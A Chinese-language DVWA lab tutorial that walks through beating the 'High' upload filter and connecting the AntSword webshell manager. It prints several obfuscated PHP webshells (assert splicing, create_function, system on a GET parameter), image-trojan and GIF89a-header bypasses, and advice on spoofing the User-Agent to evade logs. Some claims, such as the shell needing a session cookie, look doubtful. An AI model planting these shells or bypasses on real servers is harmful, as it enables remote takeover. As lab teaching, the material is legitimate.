从零到一:在DVWA高安全级别下构建你的首个Web渗透实战沙盒

很多刚接触网络安全的朋友,都渴望能有一个安全、可控的环境来亲手实践那些书本上的概念。DVWA(Damn Vulnerable Web Application)无疑是最佳选择之一,它就像一个精心设计的“漏洞游乐场”。但当你兴致勃勃地设置到“High”级别时,可能会发现事情变得棘手起来——上传的文件被严格审查,连接工具频频失败。这恰恰是学习的黄金时刻。本文将带你完整地走一遍流程,不仅告诉你“怎么做”,更会解释“为什么这么做”,让你在DVWA的High级别下,亲手搭建起一个可用的Web渗透测试环境,并成功建立连接。整个过程,我们将聚焦于DVWA中国蚁剑文件上传Cookie处理这些核心环节,目标是让你不仅通关,更能理解其背后的安全机制。

1. 环境准备与核心概念理解

在动手之前,我们需要先理清几个关键点。DVWA的High级别并非为了彻底阻止攻击,而是为了模拟现实中更严格的安全防护。它引入了更强的输入验证、会话管理和文件检查机制。这意味着,我们不能再使用过于简单的“一句话木马”,上传过程也需要更精巧的构造。

首先,确保你的DVWA已经正确部署,并且安全级别已设置为“High”。你可以在DVWA首页左侧的“DVWA Security”模块中进行设置。这个级别的变化,主要体现在后端代码对用户输入的过滤和检查逻辑上。

注意:本文所有操作均在本地或授权测试环境中进行,严禁对未授权的任何系统进行测试。网络安全技术的价值在于防御,而非攻击。

为了突破High级别的限制,我们需要一个能够绕过基础检查的WebShell。传统的<?php @eval($_POST['cmd']);?> 在High级别下很可能被检测或过滤。一个更隐蔽的思路是,利用PHP的复杂语法或函数来构造执行点。

例如,我们可以使用assert函数配合字符串拼接:

<?php
$code = $_REQUEST['pass'];
array_map("ass"."ert", explode("|", $code));
?>

这段代码将接收到的pass参数,按|分割后,动态调用assert函数执行。通过字符串拼接"ass"."ert",可以在一定程度上绕过简单的关键字检测。

另一种思路是利用create_function

<?php
$func = create_function('', $_REQUEST['cmd']);
$func();
?>

理解这些变种的目的,是为了应对WAF(Web应用防火墙)或简单的代码扫描。在实际的DVWA High级别环境中,我们需要根据靶场的具体过滤规则进行尝试和调整。

2. 文件上传漏洞的迂回策略

DVWA的High级别对文件上传进行了多重加固:检查文件扩展名、MIME类型,甚至可能进行文件内容扫描。直接上传一个.php文件几乎不可能成功。这时,“图片马”就成了一个经典的绕过思路。

其原理在于,将WebShell代码嵌入到一个正常的图片文件中。服务器在检查时,看到的是合法的图片文件头(如JPEG的FF D8 FF E0),从而放行。但当我们通过Web访问这个文件时,如果服务器配置不当(例如,未正确处理解析优先级),或者我们能够利用其他漏洞(如文件包含漏洞)来包含这个图片,其中的PHP代码依然可能被执行。

制作图片马的步骤:

  1. 准备素材:一个正常的JPG图片(例如normal.jpg)和你精心构造的PHP WebShell文件(例如shell.php)。
  2. 合成文件:在Windows命令提示符下,可以使用copy命令进行二进制合并。
    copy /b normal.jpg + shell.php webshell.jpg
    
    这个命令将shell.php的二进制内容追加到normal.jpg的末尾,生成一个新的webshell.jpg文件。图片查看器依然能正常显示图片前半部分,但文件末尾包含了我们的恶意代码。
  3. 上传测试:在DVWA的“File Upload”模块,尝试上传webshell.jpg。在High级别下,你可能会发现它依然被拒绝,因为DVWA可能会检查文件内容的前几个字节(魔数)以确保它真的是图片。

更高级的绕过:GIF89a文件头

对于PHP环境,一个历史悠久的技巧是在WebShell文件的开头添加GIF89a字符。这会使文件在检查时被识别为GIF图片。我们可以手动创建一个这样的文件:

GIF89a
<?php
// 你的WebShell代码,例如:
if(isset($_GET['c'])) {
    system($_GET['c']);
}
?>

将上述内容保存为shell.gif.php(注意扩展名)。在High级别下,DVWA可能只允许.jpg.png,因此扩展名需要匹配。但更重要的是文件内容检查。添加GIF89a文件头,是绕过某些基于文件头识别的黑名单策略的有效方法。

3. 中国蚁剑的深度配置与连接建立

成功上传文件只是第一步。要远程控制服务器,我们需要一个连接管理工具,中国蚁剑(AntSword)是一个功能强大的开源选择。它的核心是一个WebShell管理平台,通过加载器(一个Node.js环境)来运行。

基础连接失败的原因分析

很多新手在这一步卡住,直接填写URL和连接密码后,返回“连接失败”或空白。在DVWA High级别下,这通常是由于以下原因:

  • 会话(Session)验证:High级别的DVWA页面,很可能要求用户处于已登录状态。我们的WebShell请求是直接从蚁剑发出的,没有携带浏览器中那个代表已登录身份的Cookie,因此被DVWA应用判定为未授权访问,请求被重定向到登录页或直接拒绝,自然无法执行代码。
  • 路径问题:上传文件的绝对路径与Web可访问的URL路径不对应。你需要确认文件上传后存储在服务器的哪个目录(如/var/www/dvwa/hackable/uploads/),以及通过Web访问它的URL是什么(如http://your-ip/dvwa/hackable/uploads/webshell.jpg)。
  • WebShell代码本身未执行:如果服务器严格将.jpg文件当作静态图片处理,那么其中的PHP代码永远不会被解析。这时,我们需要寻找其他触发方式,比如结合DVWA的“File Inclusion”(文件包含)漏洞。但本文主要聚焦于上传后的直接连接。

关键步骤:添加Cookie实现身份认证

这是突破High级别连接的核心。你需要让蚁剑的请求“伪装”成一个已登录的浏览器请求。

  1. 获取有效Cookie

    • 使用浏览器(如Chrome)正常登录DVWA,并将安全级别设为High。
    • F12打开开发者工具,切换到“Network”(网络)标签页。
    • 刷新DVWA页面,在网络请求列表中,点击任意一个对DVWA站点的请求(如index.php)。
    • 在右侧的“Headers”(标头)选项卡中,向下找到“Request Headers”(请求头)部分,其中有一行是Cookie: ...。将其完整地复制下来。它通常包含PHPSESSIDsecurity两个关键值。
  2. 在蚁剑中配置请求头

    • 在蚁剑中添加数据,正确填写URL和连接密码(即你WebShell代码中定义的参数名,如cmdpass)。
    • 不要急于测试连接。先点击“高级设置”或类似按钮,找到“请求头”(Headers)配置部分。
    • 添加一个自定义请求头,名称填Cookie,值粘贴你刚才复制的整个Cookie字符串。

下面是一个蚁剑连接配置的示意表格,展示了关键字段的填写逻辑:

配置项示例值说明与注意事项
URL地址http://192.168.1.100/dvwa/hackable/uploads/shell.gif.php必须是Web可访问的地址,指向你上传的文件。
连接密码c对应WebShell代码中接收参数的变量名,如$_GET['c']
编码器default (或 base64)初期可先用默认。若通信不稳定,可尝试切换编码器以绕过一些过滤。
自定义请求头Cookie: PHPSESSID=abc123def456; security=highHigh级别关键步骤。使请求携带登录态,绕过身份验证。
User-Agent(可选修改)可保持默认,或伪装成常见浏览器UA,减少被日志分析注意的风险。

配置完成后保存,再尝试连接。如果WebShell代码有效且路径正确,此时应该能成功连接,并看到服务器的基本信息,如当前路径、操作系统等。

4. 实战演练:一个完整的High级别通关流程

让我们将上述知识串联起来,进行一次完整的实战推演。假设我们的目标是在DVWA High级别下,上传一个WebShell并连接。

步骤一:环境确认与WebShell准备

  • 访问 http://your-ip/dvwa/,登录(默认admin/password),在“DVWA Security”中确认级别为“High”。
  • 准备WebShell代码。考虑到High级别的过滤,我们采用create_function变体,并加上GIF89a头,保存为shell.php
    GIF89a
    <?php
    @$func = create_function('', $_REQUEST['ant']);
    @$func();
    ?>
    
    这里连接密码是ant

步骤二:制作与上传图片马

  • 找一个小的JPG图片test.jpg
  • shell.php所在目录打开命令行,执行合并:
    copy /b test.jpg + shell.php ant.jpg
    
  • 进入DVWA的“File Upload”页面,上传ant.jpg。观察返回结果。如果成功,页面会显示文件路径,例如 .../hackable/uploads/ant.jpg

步骤三:获取并配置蚁剑

  • 从GitHub下载中国蚁剑加载器,并按照官方文档安装、启动。
  • 在浏览器中,按前述方法获取当前DVWA(High级别)的Cookie。
  • 在蚁剑中添加新数据:
    • URL: http://your-ip/dvwa/hackable/uploads/ant.jpg
    • 连接密码: ant
    • 在“请求配置”或“高级设置”中,添加自定义Header:Cookie: [你复制的完整Cookie值]
  • 保存后,右键点击该数据,选择“连接”。如果一切顺利,左侧目录树会展开,显示服务器文件系统。

步骤四:连接后常见问题排查

如果连接失败,可以按照以下思路排查:

  • 检查Cookie是否有效:Cookie可能过期。重新登录DVWA(High级别),获取新的Cookie并更新到蚁剑配置中。
  • 尝试直接访问URL:在浏览器中直接打开 http://your-ip/dvwa/hackable/uploads/ant.jpg。如果浏览器提示下载或显示乱码,说明服务器确实将其作为静态文件处理,PHP代码未执行。这可能意味着需要寻找文件包含等其他漏洞点来触发代码,或者尝试其他扩展名(如果规则允许)。
  • 查看蚁剑日志:蚁剑连接时会有详细的请求和响应日志。检查返回的HTTP状态码和响应体。如果是302重定向或返回登录页面HTML,那肯定是Cookie问题。如果是200但响应体为空或不是预期的WebShell输出,可能是WebShell代码本身被拦截或执行失败。
  • 简化测试:为了排除干扰,可以暂时将DVWA安全级别调回“Low”,用最简单的WebShell测试上传和连接流程是否通畅。确认工具链没问题后,再切回“High”研究绕过方法。

这个过程看似繁琐,但每一步都对应着真实世界中的安全防护点:输入验证、身份认证、会话管理、文件类型校验。通过亲手实践和解决这些问题,你对Web应用安全攻防的理解会深刻得多。记住,工具的使用只是表象,理解其背后的HTTP协议、服务器行为和安全机制,才是从新手走向精通的关键。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐